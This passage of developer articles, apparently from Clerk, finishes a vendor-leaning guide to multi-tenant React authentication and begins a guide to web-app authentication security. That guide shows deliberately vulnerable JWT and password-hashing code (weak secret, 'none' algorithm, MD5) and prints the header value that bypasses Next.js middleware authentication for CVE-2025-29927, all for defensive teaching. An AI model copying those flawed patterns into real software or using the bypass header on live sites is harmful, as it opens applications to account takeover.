    AuthParameters: {
      USERNAME: username,
      PASSWORD: password,
      'custom:tenant_id': tenantId,
    },
  })

  // Manual tenant validation required
  const claims = parseJWT(result.IdToken)
  if (claims['custom:tenant_id'] !== tenantId) {
    throw new Error('Tenant mismatch')
  }
}
```

## Platform Comparison: The Clear Winner for React

| Feature                      | **Clerk**                   | Auth0           | AWS Cognito        | Manual Build       |
| ---------------------------- | --------------------------- | --------------- | ------------------ | ------------------ |
| **React Integration**        | Excellent (native)          | Good            | Basic              | Variable           |
| **Setup Time**               | \< 1 day                    | 2-5 days        | 1-2 weeks          | 6+ months          |
| **Organization Switching**   | Built-in component          | Custom required | Manual development | Custom build       |
| **Cost (50 orgs, 5K users)** | $0/month (within free tier) | $500-1500/month | $50-200/month      | $200K+ development |
| **Security Features**        | SOC 2, automatic            | Extensive       | Standard           | Self-managed       |
| **Developer Experience**     | Excellent                   | Good            | Complex            | Variable           |
| **TypeScript Support**       | Complete                    | Good            | Limited            | Custom             |
| **Documentation**            | React-specific              | General         | AWS-focused        | None               |

**Assessment**: For React applications, **Clerk provides significant advantages in multi-tenancy implementation** with strong developer experience and the fastest time-to-market.

## Security Best Practices: Protecting Multi-Tenant React Applications

### Implementing Zero-Trust Architecture

Even with **Clerk's built-in security**, implementing additional [zero-trust](/glossary#zero-trust-architecture) principles strengthens your application:

```tsx
// Enhanced security middleware
import { auth } from '@clerk/nextjs/server'

class SecurityMiddleware {
  static async validateTenantAccess(request: Request, requiredOrgId: string): Promise<boolean> {
    const { orgId, userId } = await auth()

    // 1. Verify authentication (handled by Clerk)
    if (!userId) return false

    // 2. Verify organization membership (validated by Clerk)
    if (orgId !== requiredOrgId) return false

    // 3. Additional custom validations
    const userPermissions = await getUserPermissions(userId, orgId)
    const hasRequiredAccess = await validateResourceAccess(userId, orgId, request.url)

    // 4. Log security events
    await this.logSecurityEvent({
      userId,
      orgId,
      action: 'resource_access',
      resource: request.url,
      granted: hasRequiredAccess,
    })

    return hasRequiredAccess
  }
}
```

### Data Encryption and Compliance

**[Clerk is SOC 2 certified and provides GDPR tooling](/legal)** to help meet compliance requirements, but additional [data encryption](/glossary#encryption-at-rest-in-transit) provides defense in depth:

```tsx
// Tenant-specific encryption
import { generateKey, encrypt, decrypt } from '@/lib/encryption'

class TenantDataManager {
  async encryptForOrganization(data: string, orgId: string): Promise<string> {
    // Generate or retrieve organization-specific key
    const encryptionKey = await this.getOrganizationKey(orgId)

    return encrypt(data, encryptionKey, {
      algorithm: 'aes-256-gcm',
      context: { organization_id: orgId },
    })
  }

  async decryptForOrganization(encryptedData: string, orgId: string): Promise<string> {
    const { orgId: currentOrgId } = await auth()

    // Verify organization context matches
    if (currentOrgId !== orgId) {
      throw new Error('Cross-organization decryption attempt blocked')
    }

    const encryptionKey = await this.getOrganizationKey(orgId)
    return decrypt(encryptedData, encryptionKey)
  }
}
```

## Performance Optimization for Multi-Tenant React Applications

### Tenant-Aware Caching Strategy

```tsx
// React Query with organization-aware caching
import { useOrganization } from '@clerk/nextjs'
import { useQuery, useQueryClient } from '@tanstack/react-query'

export function useOrganizationData<T>(endpoint: string, options?: UseQueryOptions<T>) {
  const { organization } = useOrganization()
  const queryClient = useQueryClient()

  // Organization-scoped cache keys
  const queryKey = ['organization', organization?.id, endpoint]

  const query = useQuery({
    queryKey,
    queryFn: async () => {
      if (!organization?.id) throw new Error('No organization selected')

      const response = await fetch(`/api/organizations/${organization.id}${endpoint}`)
      if (!response.ok) throw new Error('Request failed')

      return response.json()
    },
    enabled: !!organization?.id,
    ...options,
  })

  // Clear organization cache on switch
  useEffect(() => {
    const handleOrganizationChange = () => {
      queryClient.removeQueries({
        predicate: (query) => {
          const [scope, orgId] = query.queryKey
          return scope === 'organization' && orgId !== organization?.id
        },
      })
    }

    return () => handleOrganizationChange()
  }, [organization?.id, queryClient])

  return query
}
```

### Resource Quotas and Rate Limiting

```tsx
// Organization-aware rate limiting
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'

const redis = new Redis({
  url: process.env.UPSTASH_REDIS_REST_URL,
  token: process.env.UPSTASH_REDIS_REST_TOKEN,
})

// Different limits per organization tier
const createRateLimiter = (tier: 'free' | 'pro' | 'enterprise') => {
  const limits = {
    free: { requests: 100, window: '1h' },
    pro: { requests: 1000, window: '1h' },
    enterprise: { requests: 10000, window: '1h' },
  }

  const config = limits[tier]
  return new Ratelimit({
    redis,
    limiter: Ratelimit.slidingWindow(config.requests, config.window),
  })
}

export async function rateLimit(orgId: string, tier: string) {
  const limiter = createRateLimiter(tier as any)
  const identifier = `org:${orgId}`

  const { success, limit, reset, remaining } = await limiter.limit(identifier)

  if (!success) {
    throw new Error(
      `Rate limit exceeded. Try again in ${Math.round((reset - Date.now()) / 1000)} seconds.`,
    )
  }

  return { limit, reset, remaining }
}
```

## Advanced Multi-Tenancy Patterns with Clerk

### Custom Domain Management

**[Clerk supports custom domains](/docs/guides/development/deployment/changing-domains)** for white-label applications:

```tsx
// Custom domain tenant detection
import { auth } from '@clerk/nextjs/server'

export async function detectTenantFromDomain(request: Request) {
  const url = new URL(request.url)
  const hostname = url.hostname

  // Handle custom domains
  if (!hostname.includes('yourdomain.com')) {
    const tenant = await findTenantByCustomDomain(hostname)
    if (tenant) {
      return tenant
    }
  }

  // Handle subdomains
  const subdomain = hostname.split('.')[0]
  if (subdomain && subdomain !== 'www') {
    return await findTenantBySubdomain(subdomain)
  }

  return null
}
```

The following example shows how to use `clerkMiddleware()` [middleware](/glossary#middleware) to handle custom domain routing with tenant detection. In Next.js 16, this file is named `proxy.ts`:

```tsx
// proxy.ts (Next.js 16) or middleware.ts (Next.js 15 and earlier)
import { clerkMiddleware } from '@clerk/nextjs/server'
import { NextResponse } from 'next/server'

export default clerkMiddleware(async (auth, req) => {
  const tenant = await detectTenantFromDomain(req)
  if (tenant) {
    const url = req.nextUrl.clone()
    url.pathname = `/org/${tenant.id}${url.pathname}`
    return NextResponse.rewrite(url)
  }
})

export const config = {
  matcher: ['/((?!.*\\..*|_next).*)', '/', '/(api|trpc)(.*)'],
}
```

### Advanced Role-Based Access Control

Implement advanced [role-based access control (RBAC)](/glossary#role-based-access-control-rbac) using Clerk Organizations with custom permissions:

```tsx
// Clerk Organizations with custom permissions
import { useOrganization, useUser } from '@clerk/nextjs'

interface Permission {
  resource: string
  action: string
  conditions?: Record<string, any>
}

export function usePermissions() {
  const { organization, membership } = useOrganization()
  const { user } = useUser()

  const hasPermission = useCallback(
    (permission: Permission): boolean => {
      if (!membership || !organization) return false

      // Check organization role
      const role = membership.role
      const rolePermissions = getRolePermissions(role)

      // Check if role has required permission
      const hasRolePermission = rolePermissions.some(
        (p) => p.resource === permission.resource && p.action === permission.action,
      )

      if (!hasRolePermission) return false

      // Evaluate conditions
      if (permission.conditions) {
        return evaluateConditions(permission.conditions, {
          user,
          organization,
          membership,
        })
      }

      return true
    },
    [membership, organization, user],
  )

  return { hasPermission }
}
```

Here is an example component that uses the `usePermissions` hook to conditionally render content based on the user's role:

```tsx
// Usage in components
function AdminPanel() {
  const { hasPermission } = usePermissions()

  if (!hasPermission({ resource: 'settings', action: 'read' })) {
    return <div>Access denied</div>
  }

  return <div>Admin content</div>
}
```

## Production Deployment: Scaling Multi-Tenant React Applications

### Database Optimization

```sql
-- Optimized database schema for multi-tenancy
CREATE TABLE organizations (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  name VARCHAR(255) NOT NULL,
  subdomain VARCHAR(100) UNIQUE NOT NULL,
  custom_domain VARCHAR(255) UNIQUE,
  tier VARCHAR(50) DEFAULT 'free',
  created_at TIMESTAMP DEFAULT NOW(),
  updated_at TIMESTAMP DEFAULT NOW()
);

-- Tenant-aware indexes
CREATE INDEX CONCURRENTLY idx_products_org_created
  ON products(organization_id, created_at DESC);

CREATE INDEX CONCURRENTLY idx_users_org_email
  ON users(organization_id, email);

-- Partitioning for large datasets
CREATE TABLE audit_logs_y2025m01 PARTITION OF audit_logs
  FOR VALUES FROM ('2025-01-01') TO ('2025-02-01');
```

### Monitoring and Observability

```tsx
// Organization-aware monitoring
import { useOrganization } from '@clerk/nextjs'
import { track } from '@/lib/analytics'

export function useOrganizationAnalytics() {
  const { organization } = useOrganization()

  const trackEvent = useCallback(
    (event: string, properties?: Record<string, any>) => {
      if (!organization) return

      track(event, {
        ...properties,
        organization_id: organization.id,
        organization_name: organization.name,
        organization_tier: organization.publicMetadata?.tier || 'free',
      })
    },
    [organization],
  )

  return { trackEvent }
}
```

Here is an example showing how to use the analytics hook within a feature component:

```tsx
// Usage
function FeatureComponent() {
  const { trackEvent } = useOrganizationAnalytics()

  const handleFeatureUse = () => {
    trackEvent('feature_used', {
      feature: 'advanced_analytics',
      timestamp: new Date().toISOString(),
    })
  }

  return <button onClick={handleFeatureUse}>Use Feature</button>
}
```

## Cost Optimization Strategies

### Efficient Resource Allocation

```tsx
// Dynamic resource allocation based on organization tier
import { useOrganization } from '@clerk/nextjs'

export function useOrganizationLimits() {
  const { organization } = useOrganization()

  const limits = useMemo(() => {
    const tier = (organization?.publicMetadata?.tier as string) || 'free'

    const tierLimits = {
      free: {
        projects: 3,
        storage: 1024 * 1024 * 100, // 100MB
        apiCalls: 1000,
        users: 5,
      },
      pro: {
        projects: 50,
        storage: 1024 * 1024 * 1024 * 10, // 10GB
        apiCalls: 100000,
        users: 100,
      },
      enterprise: {
        projects: Infinity,
        storage: Infinity,
        apiCalls: Infinity,
        users: Infinity,
      },
    }

    return tierLimits[tier] || tierLimits.free
  }, [organization])

  const checkLimit = useCallback(
    (resource: string, usage: number): boolean => {
      const limit = limits[resource]
      return limit === Infinity || usage < limit
    },
    [limits],
  )

  return { limits, checkLimit }
}
```

## Compliance and Legal Considerations

### GDPR Compliance with Clerk

**[Clerk provides GDPR compliance out of the box](/changelog/2024-02-29)**, but additional [GDPR](/glossary#data-privacy) data handling may require custom implementation:

```tsx
// GDPR-compliant data export
import { auth } from '@clerk/nextjs/server'

export async function exportOrganizationData(orgId: string) {
  const { orgId: currentOrgId } = await auth()

  // Verify organization access
  if (currentOrgId !== orgId) {
    throw new Error('Unauthorized access')
  }

  // Collect all organization data
  const organizationData = await collectOrganizationData(orgId)

  // Anonymize cross-references to other organizations
  const sanitizedData = anonymizeCrossOrgReferences(organizationData)

  return {
    organization: sanitizedData.organization,
    users: sanitizedData.users,
    projects: sanitizedData.projects,
    audit_logs: sanitizedData.auditLogs,
    exported_at: new Date().toISOString(),
    format_version: '1.0',
  }
}
```

The following function handles GDPR-compliant data deletion with proper referential integrity:

```tsx
// GDPR-compliant data deletion
export async function deleteOrganizationData(orgId: string) {
  const { orgId: currentOrgId } = await auth()

  if (currentOrgId !== orgId) {
    throw new Error('Unauthorized deletion attempt')
  }

  // Start transaction
  const transaction = await db.transaction()

  try {
    // Delete in correct order to maintain referential integrity
    await transaction.auditLogs.deleteMany({ where: { organizationId: orgId } })
    await transaction.projects.deleteMany({ where: { organizationId: orgId } })
    await transaction.users.deleteMany({ where: { organizationId: orgId } })
    await transaction.organizations.delete({ where: { id: orgId } })

    // Schedule backup deletion
    await scheduleBackupDeletion(orgId)

    await transaction.commit()
  } catch (error) {
    await transaction.rollback()
    throw error
  }
}
```

## Future-Proofing Your Multi-Tenant Architecture

### Microservices and Multi-Tenancy

```tsx
// Service-oriented multi-tenancy with Clerk
import { auth } from '@clerk/nextjs/server'

class TenantAwareService {
  constructor(private serviceName: string) {}

  async makeRequest(endpoint: string, options: RequestInit = {}) {
    const { getToken, orgId } = await auth()

    if (!orgId) {
      throw new Error('No organization context')
    }

    const token = await getToken()

    return fetch(`${process.env.SERVICE_URL}${endpoint}`, {
      ...options,
      headers: {
        ...options.headers,
        Authorization: `Bearer ${token}`,
        'X-Organization-ID': orgId,
        'X-Service': this.serviceName,
      },
    })
  }
}

// Usage across microservices
const analyticsService = new TenantAwareService('analytics')
const billingService = new TenantAwareService('billing')
const notificationService = new TenantAwareService('notifications')
```

### AI and Machine Learning in Multi-Tenant Applications

```tsx
// Tenant-specific AI model training
import { useOrganization } from '@clerk/nextjs'

export function useOrganizationAI() {
  const { organization } = useOrganization()

  const trainModel = useCallback(
    async (trainingData: any[]) => {
      if (!organization) throw new Error('No organization context')

      // Ensure data isolation for AI training
      const sanitizedData = trainingData.filter((item) => item.organizationId === organization.id)

      const response = await fetch('/api/ai/train', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          organizationId: organization.id,
          data: sanitizedData,
          modelId: `org-${organization.id}-${Date.now()}`,
        }),
      })

      return response.json()
    },
    [organization],
  )

  return { trainModel }
}
```

## Conclusion: Evaluating Multi-Tenancy Options for React

Building multi-tenant React applications presents significant challenges in authentication, data isolation, security, and compliance. While manual implementation requires 30+ person-months and introduces numerous security risks, **Clerk's Organizations feature** offers a compelling alternative that can reduce implementation time to under a week.

### Clerk's Strengths for React Multi-Tenancy:

1. **Native React Integration**: Purpose-built for React with comprehensive TypeScript support
2. **Security-First Design**: Automatic tenant validation and isolation reduce common vulnerabilities
3. **Complete Organization Management**: Pre-built UI components and comprehensive APIs
4. **Compliance Foundation**: SOC 2, GDPR, and other standards handled automatically
5. **Developer-Focused Experience**: Extensive documentation and React-specific guidance
6. **Economic Benefits**: Managed platform reduces infrastructure overhead and development costs
7. **Enterprise Scalability**: Proven at scale with enterprise-grade requirements

### Trade-offs to Consider:

- **Platform dependency**: Using Clerk creates vendor relationship vs. self-built solutions
- **Customization limits**: Pre-built components may not fit all design requirements
- **Cost scaling**: Pricing may become significant at very large scale
- **Feature coverage**: Some edge cases may require custom development alongside Clerk

### When Clerk Makes Sense:

Clerk is particularly well-suited for React applications when you need:

- Rapid development velocity
- Strong security defaults without custom implementation
- Built-in compliance framework
- Native React/TypeScript integration
- Proven scalability patterns

### Getting Started with Clerk

For teams choosing the Clerk approach:

1. **[Sign up for Clerk](https://clerk.com/sign-up)** and create your first application
2. **[Follow the React setup guide](/docs/quickstarts/react)** for basic integration
3. **[Enable Organizations](/docs/organizations/overview)** in your Clerk Dashboard
4. **[Implement organization switching](/docs/components/organization/organization-switcher)** with the pre-built component
5. **[Configure custom domains](/docs/guides/development/deployment/changing-domains)** for white-label deployment

For React developers building multi-tenant applications, **Clerk offers a compelling path** that reduces complexity, security risks, and development time while providing enterprise-grade features that scale with your business.

The evidence suggests that for most React multi-tenancy use cases, **leveraging Clerk's proven solution** allows teams to focus on building differentiating features rather than reimplementing authentication and organization management infrastructure.

## Sources

| Statistic                                                | Source                                                                                                                                        | Location on page / Calculation method                                                                                        |
| -------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| 30+ person-months for custom multi-tenant implementation | [PaaS Cost Analysis, 2012](http://blog.cobia.net/cobiacomm/2012/05/13/paas-tco-and-paas-roi-multi-tenant-shared-container-paas/)              | Referenced in article body discussing total cost of ownership for multi-tenant PaaS implementations                          |
| 25% of multi-tenant apps vulnerable                      | [Wiz Security Report, 2024](https://www.techtarget.com/searchsecurity/news/366547696/Wiz-warns-of-exposed-multi-tenant-apps-in-Azure-AD)      | Cited in TechTarget article covering the Wiz research on exposed multi-tenant applications in Azure AD                       |
| $4.44M average data breach cost                          | [IBM Cost of Data Breach Report, 2024](https://www.ibm.com/think/x-force/2025-cost-of-a-data-breach-navigating-ai)                            | Global average cost figure reported in IBM's annual Cost of a Data Breach study                                              |
| 82% of cloud applications affected by vulnerabilities    | [Verizon Data Breach Report, 2024](https://www.verizon.com/about/news/2024-data-breach-investigations-report-vulnerability-exploitation-boom) | Cited in Verizon's DBIR press release discussing the increase in vulnerability exploitation                                  |
| $180K+ cost savings with Clerk                           | Derived                                                                                                                                       | Calculated from 30 person-months at an estimated average loaded developer cost of \~$6K/month versus under 1 week with Clerk |
| 90% faster implementation                                | Derived                                                                                                                                       | Estimated from comparison of under 1 week (Clerk) vs. 6+ months (manual build) for React multi-tenancy setup                 |
| Clerk free tier: 50,000 MRU at $0/month                  | [Clerk Pricing](https://clerk.com/pricing)                                                                                                    | Listed on the Clerk pricing page under the Free plan                                                                         |
| Clerk Pro plan: $25/month                                | [Clerk Pricing](https://clerk.com/pricing)                                                                                                    | Listed on the Clerk pricing page under the Pro plan                                                                          |
| Clerk Enhanced B2B add-on: $100/month                    | [Clerk Pricing](https://clerk.com/pricing)                                                                                                    | Listed on the Clerk pricing page under add-ons                                                                               |
| Clerk session token: 60s TTL, 50s refresh                | [How Clerk Works](/docs/guides/how-clerk-works/overview)                                                                                      | Documented in the session token management section of How Clerk Works                                                        |

---

# How to Secure Web App Auth: A Comprehensive Guide
URL: https://clerk.com/articles/authentication-security-in-web-applications.md
Date: 2026-03-27
Description: Learn how to fix 15 critical authentication vulnerabilities in 2025. Practical code examples, OWASP guidance, and platform comparisons to prevent breaches.

The most critical authentication vulnerabilities in web applications include [credential stuffing](/glossary#credential-stuffing), broken [session management](/glossary#session-management), [JWT](/glossary#json-web-token) misconfiguration, and insufficient [MFA](/glossary#multi-factor-authentication-mfa) enforcement — with 22% of all breaches beginning with credential abuse and an average cost of $4.4 million per incident ([Help Net Security, 2025](https://www.helpnetsecurity.com/2025/04/24/understanding-2024-cyber-attack-trends/); [Verizon DBIR, 2025](https://www.beyondidentity.com/resource/verizon-dbir-2025-access-is-still-the-point-of-failure); [IBM Data Breach Report, 2025](https://www.ibm.com/reports/data-breach)). As AI-powered attacks evolve, understanding both traditional OWASP vulnerabilities and emerging threats like Computer-Using Agents has become critical for developers building secure systems.

This guide examines the current authentication threat landscape and provides practical guidance for implementing short-lived tokens, secure session storage, rate limiting, and managed authentication platforms to defend against these threats effectively.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary: Critical Authentication Security Facts

| **Key Finding**                                                 | **Impact**                           | **Solution Approach**                     |
| --------------------------------------------------------------- | ------------------------------------ | ----------------------------------------- |
| **22% of all data breaches** begin with authentication failures | $4.88M average cost per incident     | Implement comprehensive security controls |
| **AI-powered attacks** bypass authentication at scale           | No custom code required per target   | AI-resistant authentication required      |
| **15+ vulnerability categories** must be defended against       | Each can lead to complete compromise | Systematic prevention strategy needed     |
| **Many SPAs** store tokens insecurely in localStorage           | XSS attacks can steal all tokens     | HttpOnly cookies must be enforced         |
| **3-6 weeks** to build secure custom authentication             | Delayed time to market               | Consider managed authentication platforms |
| **480-960× faster** implementation with platforms vs custom     | Critical for competitive advantage   | Evaluate build vs. buy carefully          |

## Traditional authentication vulnerabilities dominate security failures

The OWASP Top 10 A07:2021 - Identification and Authentication Failures encompasses the most critical authentication vulnerabilities developers encounter ([OWASP Top 10, 2021](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)).

### 1. Session Fixation Attacks

**[Session fixation](/docs/guides/secure/best-practices/fixation-protection) attacks** exploit session ID management limitations, allowing attackers to hijack authenticated sessions by tricking users into using predetermined session IDs ([Clerk Security Docs](/docs/guides/secure/best-practices/fixation-protection); [OWASP Session Fixation](https://owasp.org/www-community/attacks/Session_fixation)). These attacks succeed through URL manipulation, hidden form fields, or XSS-based session cookie manipulation.

**How to Fix Session Fixation:**

- Regenerate session IDs after successful authentication
- Use cryptographically secure random generation (minimum 128 bits)
- Implement proper session invalidation on logout
- Set HttpOnly and Secure flags on session cookies
- **Alternative:** Use a managed authentication platform like Clerk that handles session management automatically with 60-second token rotation

### 2. JWT Implementation Vulnerabilities

**JWT vulnerabilities** represent particularly dangerous implementation flaws ([OWASP API Security, 2023](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/); [Curity JWT Best Practices](https://curity.io/resources/learn/jwt-best-practices/); [PortSwigger JWT Attacks](https://portswigger.net/web-security/jwt); [OWASP JWT Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens)). The algorithm confusion attack, where attackers set `{"alg": "none"}` to bypass signature verification entirely, remains prevalent in production systems. Key confusion attacks exploit public keys as HMAC secrets, while JWK header injection allows attackers to specify malicious key sources. Weak HMAC secrets using common strings like "secret" or "key" enable [brute-force attacks](/glossary#brute-force-detection) against token signatures.

### Vulnerable vs. Secure JWT Implementation

```javascript
// ❌ VULNERABLE: Multiple critical flaws
const jwt = require('jsonwebtoken')

// No expiration, weak secret, no algorithm specification
const token = jwt.sign({ userId: user.id }, 'secret')

// Accepting 'none' algorithm
jwt.verify(token, secret, { algorithms: ['HS256', 'none'] })

// Storing in localStorage (XSS vulnerable)
localStorage.setItem('token', token)
```

```javascript
// ✅ SECURE: Properly configured JWT
const jwt = require('jsonwebtoken')
const crypto = require('crypto')

// Strong secret, short expiration, explicit algorithm
const token = jwt.sign(
  {
    userId: user.id,
    sessionId: crypto.randomBytes(16).toString('hex'),
  },
  process.env.JWT_SECRET, // Min 256-bit secret
  {
    expiresIn: '60s',
    algorithm: 'RS256',
    issuer: 'api.example.com',
    audience: 'app.example.com',
  },
)

// Strict verification with no 'none' algorithm
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'api.example.com',
  audience: 'app.example.com',
})

// HttpOnly cookie storage (XSS protected)
res.cookie('token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 60000,
})
```

**How to Fix JWT Vulnerabilities:**

- Use asymmetric algorithms (RS256) instead of symmetric (HS256)
- Set short expiration times (60 seconds to 5 minutes)
- Never accept the 'none' algorithm
- Store tokens in HttpOnly, Secure, SameSite cookies
- Validate issuer and audience claims
- **Alternative:** Managed platforms like Clerk handle JWT security automatically with 60-second tokens and proper validation

### 3. Password Storage Vulnerabilities

Password storage continues to plague applications despite decades of security guidance ([OWASP Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)). **Vulnerable implementations** using MD5, SHA-1, or unsalted hashes remain surprisingly common. Modern secure storage requires Argon2id as the first choice, with bcrypt or PBKDF2 as acceptable alternatives. Argon2id provides superior protection against GPU-based attacks with configurable memory costs, time costs, and parallelism factors.

### Vulnerable vs. Secure Password Storage

```javascript
// ❌ VULNERABLE: Never use these approaches
const crypto = require('crypto')

// Plain MD5 - crackable in seconds
const hash1 = crypto.createHash('md5').update(password).digest('hex')

// SHA-256 without salt - vulnerable to rainbow tables
const hash2 = crypto.createHash('sha256').update(password).digest('hex')

// Weak iteration count
const hash3 = crypto.pbkdf2Sync(password, 'salt', 100, 64, 'sha512')
```

```javascript
// ✅ SECURE: Use Argon2id with proper configuration
const argon2 = require('argon2')

// Argon2id - recommended approach
const hash = await argon2.hash(password, {
  type: argon2.argon2id,
  memoryCost: 65536, // 64 MB
  timeCost: 3, // 3 iterations
  parallelism: 4, // 4 parallel threads
  saltLength: 16, // 128-bit salt
})

// Verification
const valid = await argon2.verify(hash, password)

// Alternative: bcrypt (if Argon2 unavailable)
const bcrypt = require('bcrypt')
const saltRounds = 12 // 2^12 iterations
const bcryptHash = await bcrypt.hash(password, saltRounds)
```

**How to Fix Password Storage:**

- Use Argon2id as primary algorithm (bcrypt as fallback)
- Generate unique salt for each password (minimum 128 bits)
- Configure appropriate memory and time costs
- Never use MD5, SHA-1, or plain SHA-256
- Implement breach detection monitoring
- **Alternative:** Authentication platforms handle password storage with enterprise-grade hashing and breach detection built-in

### 4. Session Management Flaws

Session management vulnerabilities extend beyond fixation to include **session hijacking through network interception**, predictable session ID generation, and improper session termination ([SecureFlag Session Management](https://knowledge-base.secureflag.com/vulnerabilities/broken_authentication/broken_session_management_vulnerability.html); [OWASP Session Hijacking](https://owasp.org/www-community/attacks/Session_hijacking_attack); [OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)). Secure implementations must generate cryptographically secure session IDs with at least 64 bits of entropy, regenerate IDs after authentication, and properly invalidate sessions both client-side and server-side during logout.

**How to Fix Session Management Issues:**

- Generate session IDs using cryptographically secure random generators
- Use minimum 128 bits of entropy for session tokens
- Regenerate session IDs after authentication and privilege changes
- Implement absolute and idle timeouts
- Properly invalidate sessions server-side on logout
- **Alternative:** Modern authentication platforms manage sessions automatically with secure defaults

## AI-enhanced attacks are transforming the threat landscape

The emergence of **Computer-Using Agents** like OpenAI's Operator represents a paradigm shift in authentication attacks ([Push Security, 2025](https://pushsecurity.com/blog/how-new-ai-agents-will-transform-credential-stuffing-attacks/); [Hacker News, March 2025](https://thehackernews.com/2025/03/how-new-ai-agents-will-transform.html)). These AI systems can navigate websites like humans, seeing and interacting with pages naturally without requiring custom coding for each target. This capability transforms [credential stuffing](/glossary#credential-stuffing) from targeted attacks requiring site-specific scripts into broad-spectrum threats capable of targeting thousands of applications simultaneously.

**Critical Statistics on AI-Enhanced Authentication Attacks:**

- **Significant increase** in credential stuffing success rates with AI agents
- **15+ billion**: Compromised credentials available in public databases
- **33%**: Employees who reuse passwords across multiple services
- **45 minutes**: Time to create convincing deepfakes for biometric bypass
- **350%**: Increase in file-sharing phishing attacks in 2024

Traditional credential stuffing operates at approximately 0.1% success rates, but AI agents can dramatically improve these rates by leveraging the reality that one in three employees reuse passwords across services ([Imperva Credential Stuffing](https://www.imperva.com/learn/application-security/credential-stuffing/); [Cloudflare Bot Attacks](https://www.cloudflare.com/learning/bots/what-is-credential-stuffing/); [Barracuda API Security, 2023](https://blog.barracuda.com/2023/04/28/owasp-top-10-api-security-risks-broken-authentication); [OWASP Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)). The combination of 15+ billion compromised credentials available publicly with AI-powered automation creates unprecedented attack scale. Next-generation script kiddies now have access to sophisticated attack capabilities previously reserved for advanced persistent threat groups.

**Deepfake technology** has matured to bypass [biometric authentication](/glossary#biometric-authentication) systems with 45-minute creation times using open-source tools ([World Economic Forum, 2025](https://www.weforum.org/stories/2025/02/deepfake-ai-cybercrime-arup/)). The Arup Engineering case, resulting in $25 million losses through deepfake video conference deception, demonstrates real-world impact. Voice cloning from 3-second samples threatens voice authentication systems, while AI-generated faces bypass facial recognition with increasing success rates.

Social engineering attacks have evolved with **GenAI integration**, producing perfect grammar, personalized content, and context-aware messaging ([ConnectWise, 2025](https://www.connectwise.com/blog/common-threats-and-attacks); [Help Net Security, Jan 2025](https://www.helpnetsecurity.com/2025/01/07/phishing-trends-2024/)). File-sharing phishing attacks increased 350% in 2024, while QR code-based attacks grew from 0.8% to 10.8% of all phishing attempts. Multi-modal attacks combining email, SMS, voice, and video channels create sophisticated attack chains that traditional defenses struggle to detect.

## Framework-specific vulnerabilities require targeted defenses

Modern Single Page Applications and JavaScript frameworks face unique authentication challenges that differ significantly from server-rendered applications. **Common framework vulnerability patterns include:**

- **Widespread insecure token storage** in localStorage across SPAs
- **CVSS 9.1** severity for Next.js authentication bypass (CVE-2025-29927)
- **Prevalent XSS vulnerabilities** in React applications enabling token theft
- **5-line** authentication bypass possible in affected Next.js versions

The **critical Next.js vulnerability CVE-2025-29927** (CVSS 9.1) allows complete authentication bypass by adding a single HTTP header: `x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware` ([Akamai Security Research, March 2025](https://www.akamai.com/blog/security-research/march-authorization-bypass-critical-nextjs-detections-mitigations); [Strobes CVE Analysis, 2025](https://strobes.co/blog/understanding-next-js-vulnerability/)). This vulnerability affects versions 11.1.4 through 15.2.2 and can bypass authentication, authorization, CSP headers, and content security policies entirely.

**Client-side rendering security problems** expose all JavaScript code, including route definitions and authentication logic, to users before authentication occurs ([Google Cloud Security Blog](https://cloud.google.com/blog/topics/threat-intelligence/single-page-applications-vulnerable/)). Attackers can use browser debuggers to modify authentication functions, reveal hidden administrative interfaces, and access sensitive client-side code. The fundamental architecture of SPAs requires treating client-side authentication checks as user experience features only, never security controls.

Token storage in SPAs presents complex trade-offs between [XSS](/glossary#cross-site-scripting-xss) and [CSRF](/glossary#cross-site-request-forgery-csrf) vulnerabilities ([Pragmatic Web Security](https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html); [SuperTokens Blog](https://supertokens.com/blog/localstorage-vs-session-storage); [Stack Exchange Security](https://security.stackexchange.com/questions/201224/how-is-security-risk-of-storing-authentication-token-in-localstorage-compared-wi)). localStorage and sessionStorage provide CSRF protection but remain vulnerable to cross-site scripting attacks that can steal tokens with simple JavaScript. HttpOnly cookies prevent XSS-based theft but require CSRF protection through SameSite attributes, custom headers, or double-submit cookie patterns.

**[OAuth](/glossary#oauth) implementation in SPAs** requires [PKCE](/glossary#code-exchange-pkce) (Proof Key for Code Exchange) to prevent authorization code interception attacks ([Curity SPA Best Practices](https://curity.io/resources/learn/spa-best-practices/)). Public clients cannot securely store client secrets, making them vulnerable to redirect URI attacks and state parameter bypass. Secure implementations must generate cryptographically secure code verifiers, validate state parameters to prevent CSRF, and properly handle token exchanges with code challenge verification.

React Native applications face additional challenges including **deep linking attacks** where malicious apps hijack OAuth redirects, AsyncStorage providing no encryption for sensitive data, and certificate pinning bypass enabling man-in-the-middle attacks ([Snyk React Native Security](https://snyk.io/blog/getting-started-react-native-security/); [Morrow Security Guide](https://www.themorrow.digital/blog/securing-your-react-native-app-best-practices-and-strategies); [React Native Docs](https://reactnative.dev/docs/security); [Medium Engineering](https://medium.com/simform-engineering/security-aspects-to-consider-for-a-react-native-application-95556f0e4244); [OWASP Mobile Security, 2024](https://owasp.org/blog/2024/10/02/Securing-React-Native-Mobile-Apps-with-OWASP-MAS)). Secure implementations require platform-specific solutions like Keychain on iOS and Keystore on Android for token storage.

## Emerging threats are reshaping authentication security

